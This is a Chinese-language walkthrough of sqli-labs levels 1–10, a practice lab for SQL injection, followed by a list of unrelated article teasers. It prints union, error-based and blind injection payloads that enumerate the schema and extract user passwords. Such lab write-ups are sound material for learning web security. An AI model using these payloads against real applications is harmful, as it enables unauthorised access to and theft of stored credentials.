sql-labs通关详解(1-10)

1.less-1

1.判断类型

由此判断是字符型漏洞由单引号闭合。

2.判断 字段个数

http://192.168.190.145/sqli-labs/Less-1/?id=1' order by 3--+

3.获取数据库名

-1' union select 1,2,database()--+

4.获取表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.获取字段名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

6.获取数据

-1' union select 1,2,group_concat(username,password) from users--+

2.less-2

1.判断类型

数字型。

2.判断字段个数

?id=1 order by 3--+

3.查询当前的数据库名

-1 union select 1,2,database()--+

4.查询数据表名

-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.查询字段

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()

6. 获取数据

-1  union select 1,2,group_concat(username,password) from users--+

 3.less-3

1.判断类型

所以是单引号闭合的xx型注入

2.判断字段

2. 查询数据库

-1') union select 1,2,database()--+

3.查询数据表

-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

剩下的查询步骤与前面的题相似。。

4.less-4

1.判断类型

所以为 xx型双引号闭合

其余步骤与上面几道题类似。。

5.less-5

1.判断类型

 

通过测试这道题 查询到数据 会显示  you are in .... ,查询不到就什么也不显示所以判断这道题属于没有回显的题。并且由单引号闭合 先尝试报错注入。

2.报数据库

1' and  updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 3.报数据表

1' and  updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

4.爆字段

-1' and    updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

 5.爆数据

-1' and    updatexml(,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

6.less-5

1.判断类型 

经过测试这题与less-5类似,没有回显,用报错注入,并且用双引号闭合。 

2.爆数据库 

1" and  updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

3.爆数据表 

1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

4.爆字段

1" and  updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

 5.爆数据

1" and  updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

7.less-7

1.判断类型

经过测试发现这道题是没有回显并且单引号闭合,但是输入的测试语句都无效,通过查看源码

提交的参数被')) 闭合 先尝试   报错注入,在尝试盲注..

8.less-8

1.判断类型 

根据测试发是一个单引号闭合的没有回显的题,先尝试报错 ,经过测试报错注入也没有回显所以采用盲注,先采用布尔盲注,不管用再用时间盲注,

由于盲注获取具体数据比较麻烦,我这里给出大概思路,用sqlmap来得到数据

2. 判断数据库长度

1' and  length(database())=8--+

3.判断字符

0' or   ascii(substr(database(),1,1))=115--+
//猜测数据库中的表数量
0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+
//猜测第一个表中的第一个字符
0' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
//猜测字段长度
0' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2--+
//查第一个字段全名
0' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104--+
//猜测表中字段具体内容的条数
0' or 8=(select count(id) from security.emails)--+
//查询字段的第一条具体内容
0' or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68--+

工具使用

1.列出数据库

 

数据表

字段

数据

9.less-9

第九题 不管输入什么都会显示 you are in ... 

是时间注入并且用单引号闭合

工具使用同上一题

判断语句

if(条件,sleep(5),0),条件出可用布尔盲注的语句替换,如果成功就执行sleep(5).

10.less-10

同第九题不过是双引号闭合

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/687334.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring、SpringMVC

一、Spring框架中的单例Bean是线程安全的吗? 【默认单例的情况下】Spring Bean并没有可变的状态(如Service类和DAO类),即只能查不能改,所以没有并发问题,所以某种程度上来说Spring的单例Bean是线程安全的。…

在线旅游网站,基于 SpringBoot+Vue+MySQL 开发的前后端分离的在线旅游网站设计实现

目录 一. 前言 二. 功能模块 2.1. 登录界面 2.2. 管理员功能模块 2.3. 用户功能模块 三. 部分代码实现 四. 源码下载 一. 前言 随着科学技术的飞速发展,各行各业都在努力与现代先进技术接轨,通过科技手段提高自身的优势,旅游网站当然…

【北京迅为】《iTOP-3588开发板从零搭建ubuntu环境手册》-第2章 获取并安装Ubuntu操作系统

RK3588是一款低功耗、高性能的处理器,适用于基于arm的PC和Edge计算设备、个人移动互联网设备等数字多媒体应用,RK3588支持8K视频编解码,内置GPU可以完全兼容OpenGLES 1.1、2.0和3.2。RK3588引入了新一代完全基于硬件的最大4800万像素ISP&…

Spring框架学习-详细

文章目录 1. Spring简介1.1 面向接口编程1.2 Spring简介1.3 Spring体系结构 2 Spring IoC - 基于XML2.1 Sping框架部署(IoC)2.2 Spring IoC使用2.3 IoC和DI2.4 DI依赖注入Spring容器通过反射方法实现属性注入有三种方式1. set方法注入2. 构造器注入 2.5 …

uni-appH5Android混合开发三 || uni-app调用Android原生方法的三种方式

前言: 关于H5的调用Android原生方法的方式有很多,在该片文章中我主要简单介绍三种与Android原生方法交互的方式。 uni-app跨平台框架介绍和快速入门 uni-app跨平台框架介绍和快速入门 一、H5方法调用android原生方法 H5 Android开发规范官方文档&#…

【电路笔记】-无源高通滤波器

无源高通滤波器 文章目录 无源高通滤波器1、概述2、一阶高通滤波器的频率响应3、高通滤波器示例4、二阶高通滤波器5、RC 差异化因素高通滤波器与低通滤波器电路完全相反,因为这两个组件已互换,滤波器输出信号现在从电阻器两端获取。 1、概述 由于低通滤波器只允许低于其截止…

基于SSM框架多人命题系统

采用技术 基于SSM框架多人命题系统的设计与实现~ 开发语言:Java 数据库:MySQL 技术:SpringMVCMyBatis 工具:IDEA/Ecilpse、Navicat、Maven 页面展示效果 学生端 登录 个人中心 公告信息 试题信息 管理员 登录 个人信息…

【JavaScript】内置对象 - 数组对象 ③ ( 数组反转 - reverse 方法 | 数组排序 - sort 方法 | 自定义数组排序规则 )

文章目录 一、数组排序1、翻转数组元素 - reverse()2、数组元素排序 - sort() 默认从小到大排序3、数组元素排序 - sort() 自定义排序规则4、数组元素排序 - sort() 自定义降序排序简化写法 Array 数组对象参考文档 : https://developer.mozilla.org/zh-CN/docs/Web/JavaScript…

6.数据库

1.实体用矩形表示,属性用椭圆表示,联系用菱形表示 2.层次模型用数表示 3.网状模型用图结构表示 4.关系模型用二维表格结构来表示 5.概念模式基本表 外模式视图 内模式存储 6.模式/内模式映像 外模式/模式映像 7.数据的物理独立性 跟内模式关系 逻辑是视图…

K8s源码分析(二)-K8s调度队列介绍

本文首发在个人博客上,欢迎来踩! 本次分析参考的K8s版本是 文章目录 调度队列简介调度队列源代码分析队列初始化QueuedPodInfo元素介绍ActiveQ源代码介绍UnschedulableQ源代码介绍**BackoffQ**源代码介绍队列弹出待调度的Pod队列增加新的待调度的Podpod调…

【Qt 学习笔记】Qt常用控件 | 多元素控件 | List Widget的说明及介绍

博客主页:Duck Bro 博客主页系列专栏:Qt 专栏关注博主,后期持续更新系列文章如果有错误感谢请大家批评指出,及时修改感谢大家点赞👍收藏⭐评论✍ Qt常用控件 | 多元素控件 | List Widget的说明及介绍 文章编号&#x…

ansible部署lamp架构

搭建参考:ansible批量运维管理-CSDN博客 定义ansible主机清单 [rootansible-server ~]# vim /etc/hosts 192.168.200.129 host01 192.168.200.130 host02 [rootansible-server ~]# vim /etc/ansible/hosts [webserver] host01 host02 在ansible端编写index.html…